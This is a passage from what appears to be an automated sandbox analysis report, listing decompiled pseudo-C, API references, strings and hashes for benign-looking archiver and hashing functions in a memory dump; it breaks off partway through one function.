Instruction Fuzzy Hash: E41163B192020BDACB15FF95C891AFEB779EFA5600F404419DA0273180EB746A46DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 01262A02 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E01262A02(void* __ecx) {
				void* __edi;
				void* _t40;
				struct _IO_FILE** _t54;
				void* _t57;
				void* _t59;

				E012639E0(0x1267b34, _t59);
				_t57 = __ecx;
				if( *((intOrPtr*)(_t59 + 8)) != 0) {
					_t40 = __ecx + 8;
					if( *((intOrPtr*)(__ecx + 0xac)) != 0) {
						E0126183F(_t40, 0, 1);
					}
					if( *(_t57 + 0xbc) != 0) {
						_t41 =  *((intOrPtr*)(_t57 + 0xb8));
						if( *((intOrPtr*)(_t57 + 0xb8)) != 0) {
							E01231C9F(_t41);
						}
						E0123232F(_t59 - 0x18);
						 *((intOrPtr*)(_t59 - 4)) = 0;
						E0125AD37( *((intOrPtr*)(_t59 + 8)),  *((intOrPtr*)(_t59 + 0xc)), _t59 - 0x18);
						_t54 =  *(_t57 + 0xbc);
						fputs( *(_t59 - 0x18),  *_t54);
						fputs(" : ",  *_t54);
						E01231CAE(_t54);
						_push( *((intOrPtr*)(_t59 + 0x10)));
						E01231E60( *(_t57 + 0xbc),  *((intOrPtr*)(_t59 + 0xc)));
						E01231CAE( *(_t57 + 0xbc));
						E01231CAE( *(_t57 + 0xbc));
						E01231ABD(E01231C9F( *(_t57 + 0xbc)),  *(_t59 - 0x18));
					}
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t59 - 0xc));
				return 0;
			}

0x01262a07
0x01262a13
0x01262a18
0x01262a24
0x01262a27
0x01262a2b
0x01262a2b
0x01262a36
0x01262a3c
0x01262a44
0x01262a46
0x01262a46
0x01262a4f
0x01262a5d
0x01262a61
0x01262a66
0x01262a77
0x01262a80
0x01262a87
0x01262a8c
0x01262a95
0x01262aa2
0x01262aa9
0x01262abc
0x01262ac2
0x01262a36
0x01262aca
0x01262ad2

APIs

__EH_prolog.LIBCMT ref: 01262A07
fputs.MSVCRT ref: 01262A77
fputs.MSVCRT ref: 01262A80

Part of subcall function 0126183F: fputs.MSVCRT ref: 012618A8

Strings

: , xrefs: 01262A7B

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: fputs$H_prolog
String ID: :
API String ID: 2614055831-3653984579
Opcode ID: 45ffa8cac713f11eefe9bd543944197435c6bb317ba2138d98bab6371c52877e
Instruction ID: 225b6ac59746ae0ed5e3284f2426ff0045859723e23fdf25300a04a63029b703
Opcode Fuzzy Hash: 45ffa8cac713f11eefe9bd543944197435c6bb317ba2138d98bab6371c52877e
Instruction Fuzzy Hash: B3119671A20706DFDB25EB75C881EBEBB77EFD0210F14481ED91613294DB716891CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0125EE7F Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 61
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0125EE7F(void* __ebx, intOrPtr __esi) {
				intOrPtr* _t26;
				intOrPtr _t27;
				intOrPtr _t35;
				struct _IO_FILE** _t38;
				void* _t40;
				void* _t55;
				intOrPtr _t57;
				void* _t59;

				_t57 = __esi;
				_t40 = __ebx;
				_t26 =  *0x12746fc; // 0x1274440
				if(_t26 == __esi) {
					_t26 = 0x1274440;
				}
				_t27 = E0125A29C(_t59 - 0xf0, _t59 - 0x2c0,  *((intOrPtr*)(_t59 - 0x130)),  *_t26);
				 *((intOrPtr*)(_t59 - 0x20)) = _t27;
				if(_t27 == 1) {
					_t38 =  *0x1274700; // 0x1274438
					if(_t38 != _t57) {
						fputs("\nDecoding ERROR\n",  *_t38);
					}
					 *((intOrPtr*)(_t59 - 0x3c)) = 2;
					 *((intOrPtr*)(_t59 - 0x20)) = _t57;
				}
				if( *((char*)(_t59 - 0x2f7)) != 0 &&  *0x12746fc != 0) {
					E01260A10();
				}
				E01231ABD(E012609F5( *((intOrPtr*)(_t59 - 0x20))),  *((intOrPtr*)(_t59 - 0xd0)));
				 *(_t59 - 4) = 6;
				E01249E21(_t59 - 0xc4);
				_t46 =  *((intOrPtr*)(_t59 - 0x1c));
				 *(_t59 - 4) = 5;
				_t67 =  *((intOrPtr*)(_t59 - 0x1c));
				if( *((intOrPtr*)(_t59 - 0x1c)) != 0) {
					E0124BD18(_t46);
				}
				 *(_t59 - 4) = 3;
				E0125FCF6(_t40, _t59 - 0xf0);
				 *(_t59 - 4) = 2;
				E012311BB(_t40, _t59 - 0x448, _t55);
				 *(_t59 - 4) =  *(_t59 - 4) & 0x00000000;
				E01260E30(_t40, _t59 - 0x33c, _t67);
				 *(_t59 - 4) =  *(_t59 - 4) | 0xffffffff;
				E01248B2E(_t40, _t59 - 0x7c);
				_t35 =  *((intOrPtr*)(_t59 - 0x3c));
				 *[fs:0x0] =  *((intOrPtr*)(_t59 - 0xc));
				return _t35;
			}

0x0125ee7f
0x0125ee7f
0x0125ee7f
0x0125ee86
0x0125ee88
0x0125ee88
0x0125eea1
0x0125eea9
0x0125eeac
0x0125eeb2
0x0125eeb9
0x0125eec2
0x0125eec9
0x0125eeca
0x0125eed1
0x0125eed1
0x0125fad7
0x0125fae2
0x0125fae2
0x0125faf5
0x0125fafb
0x0125fb05
0x0125fb0a
0x0125fb0d
0x0125fb11
0x0125fb13
0x0125fb15
0x0125fb15
0x0125fb20
0x0125fb24
0x0125fb2f
0x0125fb33
0x0125fb38
0x0125fb42
0x0125fb47
0x0125fb4e
0x0125fb53
0x0125fb5c
0x0125fb64

APIs

fputs.MSVCRT ref: 0125EEC2

Strings

Decoding ERROR, xrefs: 0125EEBD
F#v, xrefs: 0125EE88, 0125EE8D
@F#v, xrefs: 0125EEBB

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: fputs
String ID: Decoding ERROR$ F#v$@F#v
API String ID: 1795875747-3375461169
Opcode ID: b3da1c01f8f9be2dce9a53517369e918e09cdaa1fe749ab8b776f43e6decd88d
Instruction ID: dc7622f6d755f8b2eea0d627573e0988065f9a6f87af3834ca35492e9ab01dd4
Opcode Fuzzy Hash: b3da1c01f8f9be2dce9a53517369e918e09cdaa1fe749ab8b776f43e6decd88d
Instruction Fuzzy Hash: C721BB7092015ACFDF2AEB98E898BECBB71FF24304F1081E9D955A3191DB701A84DF12

Uniqueness

Uniqueness Score: -1.00%

Function 012622E0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E012622E0(void* __ecx, void* __edi) {
				void* _t37;
				void* _t49;
				void* _t51;

				E012639E0(0x1267abc, _t51);
				_t49 = __ecx;
				_t37 = __ecx + 8;
				if( *((intOrPtr*)(__ecx + 0xac)) != 0) {
					E0126183F(_t37, __edi, 1);
				}
				if( *(_t49 + 0xb8) != 0) {
					E0123232F(_t51 - 0x18);
					 *(_t51 - 4) =  *(_t51 - 4) & 0x00000000;
					E01262390(_t51 - 0x18, "Files read from disk",  *((intOrPtr*)(_t49 + 0x18)),  *((intOrPtr*)(_t49 + 0x1c)));
					E012324D3();
					E012324DB(_t51 - 0x18, "Archive size: ");
					E0125A4C9(_t51 - 0x18,  *((intOrPtr*)( *((intOrPtr*)(_t51 + 8)))),  *((intOrPtr*)( *((intOrPtr*)(_t51 + 8)) + 4)));
					E012324D3();
					E01231CAE( *(_t49 + 0xb8));
					E01231ABD(fputs( *(_t51 - 0x18),  *( *(_t49 + 0xb8))),  *(_t51 - 0x18));
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t51 - 0xc));
				return 0;
			}

0x012622e5
0x012622ee
0x012622f7
0x012622fa
0x012622fe
0x012622fe
0x0126230a
0x0126230f
0x01262317
0x01262326
0x0126232e
0x0126233b
0x0126234b
0x01262353
0x0126235e
0x01262377
0x0126237c
0x01262385
0x0126238d

APIs

__EH_prolog.LIBCMT ref: 012622E5
fputs.MSVCRT ref: 0126236E

Part of subcall function 0126183F: fputs.MSVCRT ref: 012618A8

Strings

Archive size: , xrefs: 01262333
Files read from disk, xrefs: 0126231B

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: fputs$H_prolog
String ID: Archive size: $Files read from disk
API String ID: 2614055831-3736835528
Opcode ID: f11265bed1648d7671e6fddbff8ec15567c2530f7a6416c5088a6f9657f8d7b6
Instruction ID: fefccfef5dbe364987830bfc690c392b26346eae7df60a72645e0f91633ecdd4
Opcode Fuzzy Hash: f11265bed1648d7671e6fddbff8ec15567c2530f7a6416c5088a6f9657f8d7b6
Instruction Fuzzy Hash: 54113C31920606DFCB15EBA4D851BFEBBB9FF64300F004469D246560E4DB7169E9CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0125D06E Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E0125D06E(struct _IO_FILE** __ecx, char* __edx) {
				void* __edi;
				void* _t20;
				struct _IO_FILE** _t35;
				void* _t37;

				E012639E0(0x1267248, _t37);
				_t35 = __ecx;
				fputs(__edx,  *__ecx);
				fputs(" = ",  *_t35);
				_t43 =  *((char*)(_t37 + 0xc));
				if( *((char*)(_t37 + 0xc)) == 0) {
					E0123292C(_t37 - 0x18,  *((intOrPtr*)(_t37 + 8)));
					_t5 = _t37 - 4;
					 *_t5 =  *(_t37 - 4) & 0x00000000;
					__eflags =  *_t5;
					E01231DE0(_t35, _t37 - 0x18);
					_push( *((intOrPtr*)(_t37 - 0x18)));
					E01231CC1(_t35);
					_t20 = E01231ABD(E01231CAE(_t35),  *((intOrPtr*)(_t37 - 0x18)));
				} else {
					_t20 = E0125D0EC(_t35,  *((intOrPtr*)(_t37 + 8)), fputs, _t43);
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t37 - 0xc));
				return _t20;
			}

0x0125d073
0x0125d07c
0x0125d088
0x0125d091
0x0125d096
0x0125d09a
0x0125d0ae
0x0125d0b3
0x0125d0b3
0x0125d0b3
0x0125d0bd
0x0125d0c4
0x0125d0c7
0x0125d0d6
0x0125d09c
0x0125d0a1
0x0125d0a1
0x0125d0e1
0x0125d0e9

APIs

__EH_prolog.LIBCMT ref: 0125D073
fputs.MSVCRT ref: 0125D088
fputs.MSVCRT ref: 0125D091

Part of subcall function 0125D0EC: __EH_prolog.LIBCMT ref: 0125D0F1
Part of subcall function 0125D0EC: fputs.MSVCRT ref: 0125D12E
Part of subcall function 0125D0EC: fputs.MSVCRT ref: 0125D164

Strings

= , xrefs: 0125D08C

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: fputs$H_prolog
String ID: =
API String ID: 2614055831-2525689732
Opcode ID: fcb8e10b21a5a644c4062232ea188a393ceb09dddf26c7244208d911907235b5
Instruction ID: a24fd65da5e269f13a0748dd8f393120814fef8defa4f908b8f2400dba5959ce
Opcode Fuzzy Hash: fcb8e10b21a5a644c4062232ea188a393ceb09dddf26c7244208d911907235b5
Instruction Fuzzy Hash: 1C01F971A30009EBCF16BBA8D801ABE7F79EFD4750F00801AE80152290CB754956CFD1

Uniqueness

Uniqueness Score: -1.00%

Function 0125C015 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 28
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0125C015(void* __ecx, void* __eflags, char* _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v34;
				char _v35;
				char _v36;
				struct _IO_FILE** _t19;

				_v36 = 0x3a;
				_v35 = 0x20;
				E012315CA( &_v34, _a8, _a12);
				_t19 =  *(__ecx + 0xb8);
				fputs(_a4,  *_t19);
				fputs( &_v36,  *_t19);
				return E01231CAE(_t19);
			}

0x0125c025
0x0125c02c
0x0125c030
0x0125c035
0x0125c046
0x0125c04e
0x0125c05d

APIs

fputs.MSVCRT ref: 0125C046
fputs.MSVCRT ref: 0125C04E

Part of subcall function 01231CAE: fputc.MSVCRT ref: 01231CB5

Strings

, xrefs: 0125C02C
:, xrefs: 0125C025

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: fputs$fputc
String ID: $:
API String ID: 1185151155-4041779174
Opcode ID: b50785da60c3691b05b361907f57a5a83b08c4e6baf5995be597111ab76b180f
Instruction ID: 9ad775cd3e957edc637ea7b39372462c5dd87573afd1cc57721e53d6207eab0b
Opcode Fuzzy Hash: b50785da60c3691b05b361907f57a5a83b08c4e6baf5995be597111ab76b180f
Instruction Fuzzy Hash: 6FF0A032900258EBCF226FA5DC04DEEBF79EFA8314F054409EC9123290D734A524CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0125E2A2 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0125E2A2(struct _IO_FILE** __ecx, char* __edx, intOrPtr _a4, intOrPtr _a8) {
				struct _IO_FILE** _t12;

				_t12 = __ecx;
				fputs(__edx,  *__ecx);
				fputs(0x126b77c,  *_t12);
				return E01231CAE(E01231F47(_t12, _a4, _a8));
			}

0x0125e2a3
0x0125e2af
0x0125e2b8
0x0125e2d5

APIs

fputs.MSVCRT ref: 0125E2AF
fputs.MSVCRT ref: 0125E2B8

Part of subcall function 01231F47: fputs.MSVCRT ref: 01231F64

Part of subcall function 01231CAE: fputc.MSVCRT ref: 01231CB5

Strings

Archives, xrefs: 0125E2AE
F#v, xrefs: 0125E2A2, 0125E2A5, 0125E2AC, 0125E2B1

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: fputs$fputc
String ID: F#v$Archives
API String ID: 1185151155-643203527
Opcode ID: 00a85324325131d3b56247efc9e6f18aa5173f8f867860ef36407ba6ac9e5a19
Instruction ID: 20ac228211686259e017f9c241132c46a3dad974c9ae53088bcb9872f44499dc
Opcode Fuzzy Hash: 00a85324325131d3b56247efc9e6f18aa5173f8f867860ef36407ba6ac9e5a19
Instruction Fuzzy Hash: 2CD01232710251A7CB157A699C05C6EBBA6FFE86107060C5EF48043160CA6148649B91

Uniqueness

Uniqueness Score: -1.00%

Function 012392F1 Relevance: 6.3, APIs: 5, Instructions: 68
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E012392F1(signed int _a4, intOrPtr _a8, signed int* _a12) {
				void* _t12;
				signed int _t13;
				signed int _t16;
				signed int _t19;
				intOrPtr _t20;
				signed int* _t21;

				_t21 = _a12;
				_t20 = _a8;
				 *_t21 =  *_t21 & 0x00000000;
				_push(0x10);
				_push(0x126cdf8);
				_push(_t20);
				L01263D72();
				if(_t12 != 0) {
					_push(0x10);
					_push(0x126c548);
					_push(_t20);
					L01263D72();
					if(_t12 == 0) {
						goto L1;
					}
					_push(0x10);
					_push(0x126c528);
					_push(_t20);
					L01263D72();
					if(_t12 != 0) {
						_push(0x10);
						_push(0x126c518);
						_push(_t20);
						L01263D72();
						if(_t12 != 0) {
							_push(0x10);
							_push(0x126c508);
							_push(_t20);
							L01263D72();
							if(_t12 != 0) {
								return 0x80004002;
							}
							_t13 = _a4;
							_t16 = _t13;
							_t19 = _t13 + 0xc;
							L9:
							asm("sbb ecx, ecx");
							 *_t21 =  ~_t16 & _t19;
							L10:
							 *((intOrPtr*)(_t13 + 0x10)) =  *((intOrPtr*)(_t13 + 0x10)) + 1;
							return 0;
						}
						_t13 = _a4;
						_t16 = _t13;
						_t19 = _t13 + 8;
						goto L9;
					}
					_t13 = _a4;
					_t16 = _t13;
					_t19 = _t13 + 4;
					goto L9;
				}
				L1:
				_t13 = _a4;
				 *_t21 = _t13;
				goto L10;
			}

0x012392f5
0x012392f9
0x012392fc
0x012392ff
0x01239301
0x01239306
0x01239307
0x01239311
0x0123931a
0x0123931c
0x01239321
0x01239322
0x0123932c
0x00000000
0x00000000
0x0123932e
0x01239330
0x01239335
0x01239336
0x01239340
0x0123934c
0x0123934e
0x01239353
0x01239354
0x0123935e
0x0123936a
0x0123936c
0x01239371
0x01239372
0x0123937c
0x00000000
0x01239395
0x0123937e
0x01239381
0x01239383
0x01239386
0x01239388
0x0123938c
0x0123938e
0x0123938e
0x00000000
0x01239391
0x01239360
0x01239363
0x01239365
0x00000000
0x01239365
0x01239342
0x01239345
0x01239347
0x00000000
0x01239347
0x01239313
0x01239313
0x01239316
0x00000000

APIs

memcmp.MSVCRT ref: 01239307
memcmp.MSVCRT ref: 01239322
memcmp.MSVCRT ref: 01239336

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 4c60cc1046bd2ef53630efb065a3d642b08c4f3c49e3ed099a4c039fe7247548
Instruction ID: 8b92ddc99bb1de69907d6cde7e5608157d9226f668af4c3398f9a759e495a458
Opcode Fuzzy Hash: 4c60cc1046bd2ef53630efb065a3d642b08c4f3c49e3ed099a4c039fe7247548
Instruction Fuzzy Hash: 5211E9B136020667DB219F15CC02F7933A89BB6758F004529ED85EB2C1E7E4E5D08681

Uniqueness

Uniqueness Score: -1.00%

Function 01233087 Relevance: 6.3, APIs: 5, Instructions: 66
COMMON

Download Yara Rule

C-Code - Quality: 56%

			E01233087(short** __ecx, char** __edx, int _a4) {
				int _v8;
				long _t18;
				int _t19;
				int _t31;
				short** _t34;
				char** _t37;

				_push(__ecx);
				_t34 = __ecx;
				_t18 = 0;
				_t37 = __edx;
				 *((intOrPtr*)(__ecx + 4)) = 0;
				 *((short*)( *((intOrPtr*)(__ecx)))) = 0;
				_t31 = __edx[1];
				if(_t31 != 0) {
					_t19 = MultiByteToWideChar(_a4, 0,  *__edx, _t31, 0, 0);
					_v8 = _t19;
					if(_t19 != 0) {
						L4:
						if(_t19 > _t34[2]) {
							E012326A3(_t34, _t19);
							_t19 = _v8;
						}
						_t18 = MultiByteToWideChar(_a4, 0,  *_t37, _t37[1],  *_t34, _t19);
						if(_t18 == 0) {
							_t18 =  &_a4;
							_push(0x126d0e8);
							_push(_t18);
							_a4 = 0x44e74;
							L01263CAC();
						}
						_t28 =  *_t34;
						_t34[1] = _t18;
						_t28[_t18] = ( *_t34)[_t18] & 0x00000000;
					} else {
						_t18 = GetLastError();
						if(0 != 0) {
							_t19 =  &_a4;
							_push(0x126d0e8);
							_push(_t19);
							_a4 = 0x44e74;
							L01263CAC();
							goto L4;
						}
					}
				}
				return _t18;
			}

0x0123308a
0x0123308e
0x01233090
0x01233092
0x01233096
0x01233099
0x0123309c
0x012330a1
0x012330b3
0x012330b7
0x012330ba
0x012330db
0x012330de
0x012330e3
0x012330e8
0x012330e8
0x012330fb
0x012330ff
0x01233101
0x01233104
0x01233109
0x0123310a
0x01233111
0x01233111
0x01233116
0x01233118
0x0123311b
0x012330bc
0x012330bc
0x012330c4
0x012330c6
0x012330c9
0x012330ce
0x012330cf
0x012330d6
0x00000000
0x012330d6
0x012330c4
0x012330ba
0x01233124

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000,000004B0,?,?,?,?,012318A8,0000FDE9,?,7FFFFFE0,?), ref: 012330B3
GetLastError.KERNEL32(?,?,?,012318A8,0000FDE9,?,7FFFFFE0,?,00000000,?,00000001,00000000), ref: 012330BC
_CxxThrowException.MSVCRT(00000000,0126D0E8), ref: 012330D6
MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,012318A8,0000FDE9,?,7FFFFFE0,?,00000000), ref: 012330FB
_CxxThrowException.MSVCRT(00000000,0126D0E8), ref: 01233111

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: ByteCharExceptionMultiThrowWide$ErrorLast
String ID:
API String ID: 2296236218-0
Opcode ID: 35c8fc08ea664ee4f246afd1150f1883a9fe3ac17d66d02f3c1da9e0298f0c8d
Instruction ID: a72ab89eb7d10a41d440285109f857a92c2d39cd62b10561c327a8a22ec72179
Opcode Fuzzy Hash: 35c8fc08ea664ee4f246afd1150f1883a9fe3ac17d66d02f3c1da9e0298f0c8d
Instruction Fuzzy Hash: F6112EB1620606BFD720CF69CC81E6ABBEDFF843807108129EA48C7240D770ED41CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0124A2E2 Relevance: 6.3, APIs: 4, Instructions: 300
stringCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E0124A2E2(intOrPtr __ecx) {
				void* __ebx;
				void* _t156;
				intOrPtr* _t162;
				intOrPtr* _t167;
				intOrPtr* _t170;
				intOrPtr* _t171;
				int _t172;
				intOrPtr* _t174;
				void* _t182;
				signed int _t194;
				char _t196;
				void* _t198;
				void* _t208;
				signed int _t216;
				void* _t218;
				signed int _t284;
				void* _t286;
				intOrPtr _t287;
				void* _t288;
				void* _t289;
				signed int _t290;
				void* _t291;
				void* _t293;
				void* _t294;

				E012639E0(E01265C64, _t291);
				_t294 = _t293 - 0x6c;
				 *((intOrPtr*)(_t291 - 0x24)) = __ecx;
				_push( *((intOrPtr*)(_t291 + 0xc)));
				E01234398(_t291 - 0x48);
				 *(_t291 - 4) = 0;
				if( *((intOrPtr*)(_t291 - 0x44)) == 0) {
					_push(E0123296F(_t291 - 0x54,  *0x1269828));
					 *(_t291 - 4) = 1;
					E01231ABD(E0123150C(_t291 - 0x48),  *((intOrPtr*)(_t291 - 0x54)));
				}
				 *((intOrPtr*)(_t291 - 0x30)) = 0;
				 *((intOrPtr*)(_t291 - 0x2c)) = 0;
				 *((intOrPtr*)(_t291 - 0x28)) = 0;
				 *(_t291 - 4) = 2;
				E0125801B(_t291 - 0x3c);
				_t284 = 0;
				_t297 =  *((intOrPtr*)(_t291 - 0x44));
				 *(_t291 - 4) = 3;
				if( *((intOrPtr*)(_t291 - 0x44)) <= 0) {
					L11:
					_t216 = 0;
					if( *((intOrPtr*)(_t291 - 0x2c)) <= 0) {
						L40:
						 *(_t291 - 4) = 2;
						E01231ABD(E0124B037(_t216, _t291 - 0x3c),  *((intOrPtr*)(_t291 - 0x30)));
						 *(_t291 - 4) =  *(_t291 - 4) | 0xffffffff;
						E01248B2E(_t216, _t291 - 0x48);
						_t156 = 0;
						L41:
						 *[fs:0x0] =  *((intOrPtr*)(_t291 - 0xc));
						return _t156;
					} else {
						goto L12;
					}
					while(1) {
						L12:
						 *((intOrPtr*)(_t291 + 0xc)) = 0;
						 *(_t291 - 4) = 6;
						E0123232F(_t291 - 0x54);
						 *(_t291 - 4) = 7;
						_t286 = E01238F8D( *((intOrPtr*)(_t291 + 8)), _t291 - 0x54,  *((intOrPtr*)( *((intOrPtr*)(_t291 - 0x30)) + _t216 * 8)),  *((intOrPtr*)( *((intOrPtr*)(_t291 - 0x30)) + 4 + _t216 * 8)), _t291 + 0xc);
						if(_t286 != 0) {
							break;
						}
						_t167 =  *((intOrPtr*)(_t291 + 0xc));
						if(_t167 == 0) {
							_push(0x126d248);
							_push(_t291 + 8);
							 *((intOrPtr*)(_t291 + 8)) = "Can\'t create hasher";
							L01263CAC();
							L34:
							_t160 =  *((intOrPtr*)(_t291 - 0x10));
							 *(_t291 - 4) = 7;
							__eflags = _t160;
							if(_t160 != 0) {
								_t160 =  *((intOrPtr*)( *_t160 + 8))(_t160);
							}
							break;
						}
						 *((intOrPtr*)(_t291 - 0x10)) = 0;
						_t287 =  *((intOrPtr*)( *((intOrPtr*)(_t291 - 0x3c)) + _t216 * 4));
						 *(_t291 - 4) = 8;
						 *((intOrPtr*)( *_t167))(_t167, 0x126c3b8, _t291 - 0x10);
						_t170 =  *((intOrPtr*)(_t291 - 0x10));
						if(_t170 == 0) {
							L17:
							 *(_t291 - 4) = 7;
							if(_t170 != 0) {
								 *((intOrPtr*)( *_t170 + 8))(_t170);
							}
							_t171 =  *((intOrPtr*)(_t291 + 0xc));
							_t172 =  *((intOrPtr*)( *_t171 + 0x18))(_t171);
							 *(_t291 - 0x14) = _t172;
							if(_t172 > 0x40) {
								E01231ABD(_t172,  *((intOrPtr*)(_t291 - 0x54)));
								_t174 =  *((intOrPtr*)(_t291 + 0xc));
								__eflags = _t174;
								 *(_t291 - 4) = 3;
								if(_t174 != 0) {
									 *((intOrPtr*)( *_t174 + 8))(_t174);
								}
								_t286 = 0x80004001;
								L39:
								 *(_t291 - 4) = 2;
								E01231ABD(E0124B037(_t216, _t291 - 0x3c),  *((intOrPtr*)(_t291 - 0x30)));
								 *(_t291 - 4) =  *(_t291 - 4) | 0xffffffff;
								E01248B2E(_t216, _t291 - 0x48);
								_t156 = _t286;
								goto L41;
							} else {
								_t288 = E0124AEEC( *((intOrPtr*)(_t291 - 0x24)) + 4);
								E01240E48(_t288,  *((intOrPtr*)(_t291 + 0xc)));
								_t72 = _t288 + 4; // 0x4
								E0123240D(_t72, _t291 - 0x54);
								 *((intOrPtr*)(_t291 - 0x18)) = 4;
								 *(_t288 + 0x10) =  *(_t291 - 0x14);
								_t289 = _t288 + 0x14;
								do {
									_t182 = memset(_t289, 0,  *(_t291 - 0x14));
									_t294 = _t294 + 0xc;
									_t289 = _t289 + 0x40;
									_t77 = _t291 - 0x18;
									 *_t77 =  *((intOrPtr*)(_t291 - 0x18)) - 1;
								} while ( *_t77 != 0);
								E01231ABD(_t182,  *((intOrPtr*)(_t291 - 0x54)));
								 *(_t291 - 4) = 3;
								E01239116(_t291 + 0xc);
								_t216 = _t216 + 1;
								if(_t216 <  *((intOrPtr*)(_t291 - 0x2c))) {
									continue;
								}
								goto L40;
							}
						}
						_push(0);
						_push(_t170);
						_t286 = E0123A275(_t287);
						if(_t286 != 0) {
							goto L34;
						}
						_t170 =  *((intOrPtr*)(_t291 - 0x10));
						goto L17;
					}
					E01231ABD(_t160,  *((intOrPtr*)(_t291 - 0x54)));
					_t162 =  *((intOrPtr*)(_t291 + 0xc));
					__eflags = _t162;
					 *(_t291 - 4) = 3;
					if(_t162 != 0) {
						 *((intOrPtr*)( *_t162 + 8))(_t162);
					}
					goto L39;
				} else {
					goto L3;
				}
				while(1) {
					L3:
					E01245016(_t291 - 0x78);
					 *(_t291 - 4) = 4;
